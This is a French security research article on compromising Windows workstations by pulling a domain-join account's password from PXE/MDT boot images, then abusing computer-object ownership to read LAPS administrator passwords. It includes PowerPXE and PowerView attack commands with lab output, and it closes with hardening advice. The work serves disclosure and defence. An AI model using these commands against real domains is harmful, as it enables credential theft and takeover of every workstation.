Le poste de travail reste une des cibles favorites durant des opérations Red Team. Cependant, son niveau de sécurité s’est drastiquement amélioré avec le déploiement à grande échelle de solutions de sécurité comme Bitlocker ou encore LAPS. Mais ces solutions peuvent-elles aussi introduire de nouveaux chemins de compromission ? Retour sur une combinaison explosive entre un procédé de masterisation des postes de travail et LAPS.
La masterisation automatisée des postes de travail est devenue un processus standard au sein des grandes entreprises. Par ailleurs, le durcissement des postes de travail a fait de nets progrès ces dernières années, notamment à l’aide de l’outil LAPS de Microsoft qui permet la gestion des mots de passe locaux.
Toutefois, nous allons étudier dans cet article comment la combinaison de deux bonnes idées sans lien apparent l’une avec l’autre peut mener à la compromission de l’ensemble des postes de travail d’un système d’information. Le principal avantage de la technique présentée dans la suite de l’article est qu’elle est réalisable en boîte noire, c’est-à-dire sans aucune connaissance préalable de la cible.
1. Masterisation automatisée de postes de travail
Le déploiement et la configuration de postes de travail en grand nombre sont une tâche fastidieuse qui peut bénéficier d’une relative automatisation grâce à des outils comme Microsoft Deployment Toolkit (MDT) ou System Center Configuration Manager (SCCM). Ces technologies permettent par exemple d’installer simplement un master logiciel sur un poste de travail à partir d’un accès réseau et d’automatiser son intégration dans l’annuaire Active Directory de l’entreprise.
1.1 Microsoft Deployment Toolkit (MDT)
Microsoft Deployment Toolkit [MDT] est un outil Microsoft qui permet de déployer une image Windows à partir d’une configuration prédéfinie. Cela se manifeste par la création de fichiers de déploiement (au format « .wim »). Afin de faciliter la tâche de la personne déployant un nouveau poste de travail, ces fichiers sont déployés sur le réseau afin de pouvoir permettre d’amorcer le démarrage du poste de travail sur le réseau avec PXE. Ils sont par défaut accessibles publiquement (sans authentification) à l’aide du protocole Trivial FTP (TFTP).
1.2 Boot PXE
Le boot PXE (Pre-boot eXecution Environment) permet donc à une station de travail de démarrer depuis le réseau. Il s’appuie sur une réponse spécifique du serveur DHCP définie dans la RFC 4578 [DHCP & PXE]. Le client PXE envoie une requête DHCP avec des options relatives à PXE et la réponse du serveur DHCP lui indique, en complément des informations d’adressage IP habituelles, l’emplacement du fichier de pre-boot sur le réseau, accessible en TFTP.
Fig. 1 : Téléchargement de l’image « wim ».
Une fois l’image chargée, le client procède à l’installation de son contenu sur le disque local ainsi que l’intégration dans l’Active Directory au travers d’un compte de service dédié à cet usage inclus dans l’image de pre-boot PXE. Une fois l’installation terminée, le poste de travail est fonctionnel et l’enrôlement dans l’Active Directory effectif.
1.3 Extraction des données sensibles
Ces fonctionnalités de boot sur PXE ont déjà été étudiées par de nombreuses personnes [NETSPI] et se révèlent utiles pour un attaquant, car elles permettent notamment d’extraire des informations sensibles. En effet, il est notamment possible pour un attaquant de démarrer sur PXE et de profiter de ce processus automatisé pour obtenir, sans informations préalables initialement, un poste de travail standard du domaine cible.
Tout particulièrement, au travers de ce fonctionnement, il est possible :
- d’appuyer sur la touche [F8] pendant la phase de boot PXE initial qui a pour effet de lancer une invite de commande en tant qu’administrateur sur la machine en cours de déploiement. Il est ainsi possible d’accéder au contenu du système de fichiers qui sera déployé sur le poste de travail ;
- d’appuyer sur les touches [Maj]+[F10] pendant la configuration de l’image installée et ainsi ajouter un compte administrateur local ou extraire la valeur des bases SAM et SYSTEM pour obtenir le hash du mot de passe par défaut des comptes système avant la fin du processus de masterisation ;
- d’analyser la mémoire du poste de travail en cours de configuration PXE afin d’en extraire des informations sensibles ;
- récupérer directement le fichier d’image de pré-boot (fichier wim) pour accéder à l’ensemble du paramétrage (mot de passe du compte de service utilisé pour l’intégration dans le domaine, fichiers contenant des mots de passe par défaut comme unattend.xml, etc.).
C’est cette dernière option qui va nous intéresser particulièrement pour la suite de cet article.
1.4 Recherche et extraction du fichier d’image
Afin de faciliter l’obtention de l’image de pré-boot à partir d’une requête DHCP, nous avons développé un script Powershell [POWERPXE] permettant d’automatiser les étapes suivantes (des étapes supplémentaires sont présentes dans le cas de SCCM [SCCM & PXE]) :
- initialisation de l’échange DHCP en mode «discover » ;
- extraction de l’emplacement du fichier de configuration du démarrage .bcd dans la réponse DHCP ;
- téléchargement du fichier bcd via le protocole TFTP ;
- extraction de l’emplacement de l’image .wim présente dans le fichier de configuration du démarrage ;
- téléchargement de l’image .wim via le protocole TFTP ;
- recherche des identifiants en clair, notamment sur les fichiers de configuration Bootstrap.ini et CustomSettings.ini.
Ce script nécessite d’être lancé en tant qu’administrateur afin de permettre la modification de la configuration de l’interface réseau ainsi que l’ouverture du fichier de configuration du démarrage.
Pour permettre au lecteur de réaliser une preuve de concept, le projet AutomatedLab [AUTOMATEDLAB] peut être utilisé, à l’aide de cette configuration hébergée sur GitHub [POWERPXE]. Ce lab est constitué de :
- un contrôleur de domaine lab.fr ;
- un serveur possédant le rôle MDT exposant ainsi le service DHCP, les répertoires réseaux ainsi qu’une interface TFTP ;
- un serveur pour tester l’attaque, il est possible aussi de le faire depuis un simple accès réseau.
PS > Import-Module .\PowerPXE.ps1
PS > Get-PXECreds -InterfaceAlias « lab 0 »
>> Get a valid IP adress
>>> >>> DHCP proposal IP address: 192.168.22.101
>>> >>> DHCP Validation: DHCPACK
>>> >>> IP address configured: 192.168.22.101
>> Request BCD File path
>>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
>>> >>> TFTP IP Address: 192.168.22.3
>> Launch TFTP download
>>>> Transfer succeeded.
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
>> Launch TFTP download
>>>> Transfer succeeded.
>> Open LiteTouchPE_x86.wim
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
>>>> >>>> UserID = MdtService
>>>> >>>> UserPassword = Somepass1
[...]
Note pour le lecteur : si le compte utilisé pour réaliser l’intégration au domaine est « Admins du domaine », c’est votre jour de chance !!!
1.5 Aller plus loin
La suite de cet article s’intéresse aux possibilités obtenues à partir du mot de passe du compte de service utilisé pour l’intégration au domaine. Toutefois, ce compte n’étant généralement pas identifié comme sensible, il est possible que son mot de passe figure à d’autres emplacements : partages SMB, SharePoint, etc.
De même, si le boot PXE est restreint à une zone réseau précise, le fichier .wim ou les fichiers de configurations associés Bootstrap.ini et CustomSettings.ini sont en général accessibles sur des partages de fichiers avec un contrôle d’accès peu restreint. Dans ce cas, l’accès à ce fichier permet de réaliser l’attaque décrite dans la suite de cet article.
2. Compromission de l'ensemble des postes de travail
2.1 Le privilège « Domain Join »
Le privilège « Domain Join », ou de joindre une machine dans le domaine [DOMAIN-JOIN], correspond au privilège Active Directory « Ajouter une machine dans le domaine ». Dans la configuration par défaut d’un domaine, un utilisateur standard peut joindre 10 machines dans le domaine. Cependant, dans la majorité des entreprises, ce privilège est restreint via une GPO (Group Policy Object) présente dans .
Par défaut, le groupe « Opérateur de comptes » possède les privilèges nécessaires pour joindre une machine au domaine. Il n’est cependant pas recommandé de l’utiliser, car les privilèges de ce groupe sont trop élevés : ils permettent par exemple d’ouvrir une session interactive sur les contrôleurs de domaine. Pour cela, en général un compte de service est créé : il s’agit d’un compte basique du domaine n’ayant comme seuls privilèges spécifiques que de pouvoir intégrer un poste de travail au domaine.
Lors de l’intégration d’une machine dans le domaine, un objet de la classe computer est créé dans l’Active Directory. Le compte utilisateur utilisé pour créer cet objet, i.e joindre une machine, est défini comme propriétaire de cet objet.
2.2 Principe de fonctionnement de LAPS
Comme les machines sont déployées depuis un modèle unique, le mot de passe du compte local « Administrateur » (builtin, aka SID 500) est identique sur l’ensemble des machines. Cette configuration est considérée comme une vulnérabilité, car elle permet notamment en cas de compromission d’une seule machine de rebondir sur l’ensemble des autres machines. La robustesse du mot de passe du compte local n’est même pas prise en considération, car il sera possible de rebondir via une attaque Pass The Hash (PTH).
Microsoft permet ainsi via son outil « Local Administrator Password Solution », LAPS, de modifier automatiquement et gérer dans le temps les mots de passe du compte local builtin des machines présentes dans le domaine.
Lors de l’installation de la solution LAPS, deux attributs de sécurité sont ajoutés dans la classe machine :
- ms-mcs-AdmPwd qui stocke en clair le mot de passe du compte administrateur. Une délégation de privilèges est nécessaire pour accéder en lecture à cet attribut (le groupe « Admins du domaine » possède des privilèges suffisants par défaut) ;
- ms-mcs-AdmPwdExpirationTime qui définit la date de la prochaine rotation du mot de passe, tous les 30 jours.
La commande Find-AdmPwdExtendedRights du module Powershell de LAPS (le module AdmPwd.PS) permet d’identifier les groupes ou les utilisateurs pouvant accéder au mot de passe LAPS. En effet, ce module liste les utilisateurs possédant un accès en lecture sur l’attribut ms-mcs-AdmPwd :
PS > Import-Module AdmPwd.PS
PS > Find-AdmPwdExtendedRights | fl
ObjectDN : OU=COMPUTER,DC=lab,DC=fr
ExtendedRightHolders : {LAB\LAPS_recover, LAB\Domain Admins}
console
2.3 Compromission des postes via LAPS
Le propriétaire d’un objet ainsi que les privilèges accordés aux utilisateurs (ou à un autre objet) sur cet objet sont stockés dans un descripteur de sécurité (ou SecurityDescriptor). Les droits d’accès (i.e. les privilèges) se présentent sous la forme d’une DACL (Discretionnary Access Control List) composée d’ACE (Access Control Entries), où chaque ACE décrit une ou plusieurs permissions accordées ou refusées à un utilisateur.
Le script suivant permet d’extraire les privilèges accordés par défaut (via les ACE) au propriétaire d’un objet computer :
Import-module ActiveDirectory
## Extraction de la configuration par défaut d’un objet « computer »
$computerobject = Get-ADObject -SearchBase (Get-ADRootDSE).SchemaNamingContext -Filter {Name -eq "Computer" } -Properties defaultSecurityDescriptor
## Création d’un objet permettant la gestion des ACL
$sec=New-Object System.DirectoryServices.ActiveDirectorySecurity
$sec.SetSecurityDescriptorSddlForm($computerobject.defaultSecurityDescriptor)
## Recherche des privilèges du propriétaire de l’objet
$acc=New-Object System.Security.Principal.NTAccount("CREATEUR PROPRIETAIRE") ## ou "CREATOR OWNER"
$sec.GetAccessRules($true,$false,[System.Security.Principal.NTAccount]) | Where-Object {$_.IdentityReference -eq $acc}
Le résultat de la commande contient notamment l’ACE suivante :
ActiveDirectoryRights : DeleteTree, ExtendedRight, Delete, GenericRead
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : CREATEUR PROPRIETAIRE
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
console
Le propriétaire d’un objet, héritant de la classe computer, possède donc par défaut le privilège ExtendedRight. Or le privilège ExtendedRight ou plutôt dans l’interface graphique, permet d’accéder au mot de passe LAPS.
En effet, l’accès au mot de passe peut par exemple se faire avec PowerView :
PS > Import-Module .\PowerView.ps1
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
ComputerName : COMPUTER
ms-mcs-AdmPwd : 9g)4G+35w;2$
ms-mcs-AdmPwdExpirationTime : 08/04/2019
console
Le compte utilisé pour joindre une machine dans le domaine peut ainsi la compromettre si LAPS est utilisé. De plus, si le même compte est utilisé pour réaliser l’ensemble des intégrations, comme c’est fréquemment le cas lorsque les intégrations au domaine sont faites automatiquement à l’aide d’une masterisation avec MDT ou SCCM, il est possible de compromettre l’ensemble des postes de travail via ce compte.
Les propriétaires des objets computer peuvent être identifiés avec les commandes suivantes :
Import-module ActiveDirectory
$computers = Get-ADComputer -Filter *
foreach ($comp in $computers) {
$comppath = "AD:$($comp.DistinguishedName.ToString())"
$acl = Get-Acl -Path $comppath
Write-Host $comp.SamAccountName $acl.Owner
}
3. Protections
3.1 Protéger la séquence de boot PXE
Afin de limiter les risques pour un attaquant ayant accès au réseau d’entreprise de démarrer en PXE pour réaliser les attaques du premier chapitre, il est fortement recommandé que la capacité à démarrer en PXE soit limitée à des zones réseau bien spécifiques, telles que des salles du support informatique.
D’autre part, il est également recommandé que le démarrage en PXE nécessite un mot de passe avant de commencer l’installation. Cela peut notamment être configuré en cochant la case dans la configuration SCCM.
De manière plus générale, les recommandations Microsoft relatives au déploiement de PXE [SECURISATION PXE] sont un bon point de départ pour sécuriser toute installation PXE.
3.2 Retirer les privilèges ExtendedRights, une fausse bonne idée
Microsoft propose de réduire les privilèges du créateur propriétaire de l’objet afin qu’il ne puisse plus accéder aux attributs de sécurité relatifs à LAPS [LAPS-PERMISSION]. Cette première solution passe par le changement du defaultSecurityDescriptor de classe computer afin de retirer le privilège ExtendedRights à l’utilisateur « CREATEUR PROPRIETAIRE » (ou « Owner »). La valeur par défaut, au format SSDL, est :
(A;;RPCRLCLORCSDDT;;;CO)
Elle devient :
(A;;RPLCLORCSDDT;;;CO)
Ainsi, les propriétaires des objets de la classe computer perdent leurs attributs étendus sur chacun des objets de la classe et ne peuvent plus accéder aux attributs LAPS : le tour est joué !
Malheureusement non, ce changement de configuration n’est malheureusement pas suffisant… En effet, le propriétaire d’un objet [OWNER] possède implicitement le privilège Write-Dacl sur cet objet. Il y a de plus une subtilité : le droit Write-Dacl du propriétaire d’un objet n’est pas spécifié dans les ACL de l’objet, mais est pourtant bien présent.
Comme son nom l’indique, Write-Dacl permet d’écrire une ACE dans la DACL. Ainsi, il est possible de s’auto-accorder le contrôle total GenericAll ou de se rajouter le privilège ExtendedRights sur un objet.
Ce chemin peut notamment être visualisé avec BloodHound depuis la version 2.0 (août 2018) (Figure 2).
Fig. 2 : Visualisation des chemins de compromission sous BloodHound.
Ce chemin peut être exploité avec PowerView avec la commande suivante qui rajoute le privilège GénéricAll sur la machine COMPUTER (commandes à lancer en tant que l’utilisateur propriétaire de l’objet) :
PS > Import-Module .\PowerView.ps1
PS > Add-DomainObjectAcl -TargetIdentity COMPUTER -Rights All
PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
ComputerName : COMPUTER
ms-mcs-AdmPwd : 9g)4G+35w;2$
ms-mcs-AdmPwdExpirationTime : 08/04/2019
console
3.3 Un durcissement « en profondeur »
Le propriétaire d’un objet computer peut jusqu’à maintenant toujours lire le mot de passe LAPS. Une première solution « maison » pour remédier à cette vulnérabilité est de modifier régulièrement les propriétaires des objets.
Par exemple, il est possible de définir le groupe « Admins du domaine » :
Import-module ActiveDirectory
$computers = Get-ADComputer -Filter *
foreach ($comp in $computers) {
$comppath = "AD:$($comp.DistinguishedName.ToString())"
$acl = Get-Acl -Path $comppath
$objUser = New-Object System.Security.Principal.NTAccount("<DOMAIN>", "Admins du domaine")
$acl.SetOwner($objUser)
Set-Acl -Path $comppath -AclObject $acl
}
Microsoft propose aussi une seconde solution en modifiant manuellement les privilèges du propriétaire d’un objet [OWNER-RIGHTS] au niveau des OU :
- ouvrir l’onglet sécurité présent dans les propriétés d’une l’OU ;
- cliquer sur sous le ;
- saisir « CREATEUR PROPRIETAIRE », ou bien « CREATOR OWNER », dans la zone de texte ;
- définir explicitement les permissions accordées au propriétaire d’un objet.
La définition complète des privilèges de l’utilisateur « CREATEUR PROPRIETAIRE » sur l’OU, et donc la création d’ACE explicite, va prendre le dessus sur les privilèges implicites.
Cette technique doit cependant être testée sur un environnement de tests avant d’être déployée en production.
Conclusion
Pris individuellement, le démarrage PXE et LAPS est une solution apportant une forte valeur ajoutée au sein d’un système d’information. Toutefois, nous avons pu constater que la combinaison de deux solutions, même correctement configurées, peut mener à la compromission d’une grande partie du système d’information.
En pratique, il convient de s’assurer que le fonctionnement simultané de différentes solutions n’ajoute pas de nouveau chemin de compromission dans son environnement Windows. Aujourd’hui, l’article s’est concentré sur la masterisation et LAPS, mais d’autres solutions possédant des privilèges sur un nombre élevé de machines (WSUS pour le déploiement des mises à jour, la console de l’antivirus ou encore l’agent de sauvegarde) peuvent permettre de rebondir dans le SI.
Remerciements
Un immense remerciement à l’ensemble du pool audit Wavestone et plus particulièrement à Arnaud SOULLIÉ et Nicolas DAUBRESSE pour la relecture et leurs conseils.
Références
[MDT] Documentation Microsoft, « Microsoft Deployment Toolkit » : https://docs.microsoft.com/en-us/sccm/mdt/
[DCHP & PXE] Dominik Heinz, « Client Management blog », page supprimée sur TechNet : http://web.archive.org/web/20190219161848/https://blogs.technet.microsoft.com/dominikheinz/2011/03/18/dhcp-pxe-basics/
[SCCM & PXE] Dominik Heinz, « SCCM PXE Network Boot Process » : https://www.agileit.com/news/sccm-pxe-network-boot-process-for-windows/
[NETSPI] Thomas Elling, « Attacks Against Windows PXE Boot Images » : https://blog.netspi.com/attacks-against-windows-pxe-boot-images/
[POWERPXE] Rémi Escourrou, Détection et extraction des informations sensibles d’un serveur PXE : https://github.com/wavestone-cdt/powerpxe
[AUTOMATEDLAB] Raimund Andrée et Jan-Hendrik Peters, AutomatedLab project : https://github.com/AutomatedLab/AutomatedLab
[DOMAIN-JOIN] Rafel Sosnowski, « Who can add workstation to the domaine » : https://blogs.technet.microsoft.com/dubaisec/2016/02/01/who-can-add-workstation-to-the-domain/
[SECURISATION PXE] Microsoft documentation, « Security and privary for operating system deployment » : https://docs.microsoft.com/fr-fr/sccm/osd/plan-design/security-and-privacy-for-operating-system-deployment
[LAPS-PERMISSION] Jiri Formacek, « LAPS and permission to join computer to domain » : https://blogs.msdn.microsoft.com/laps/2015/07/17/laps-and-permission-to-join-computer-to-domain/
[OWNER] Microsoft Documentation, « Owner of a New Object » : https://docs.microsoft.com/en-us/windows/desktop/secauthz/owner-of-a-new-object
[OWNER-RIGHTS] Microsoft documentation, « AD DS : Owner Rights » : https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd125370(v=ws.10)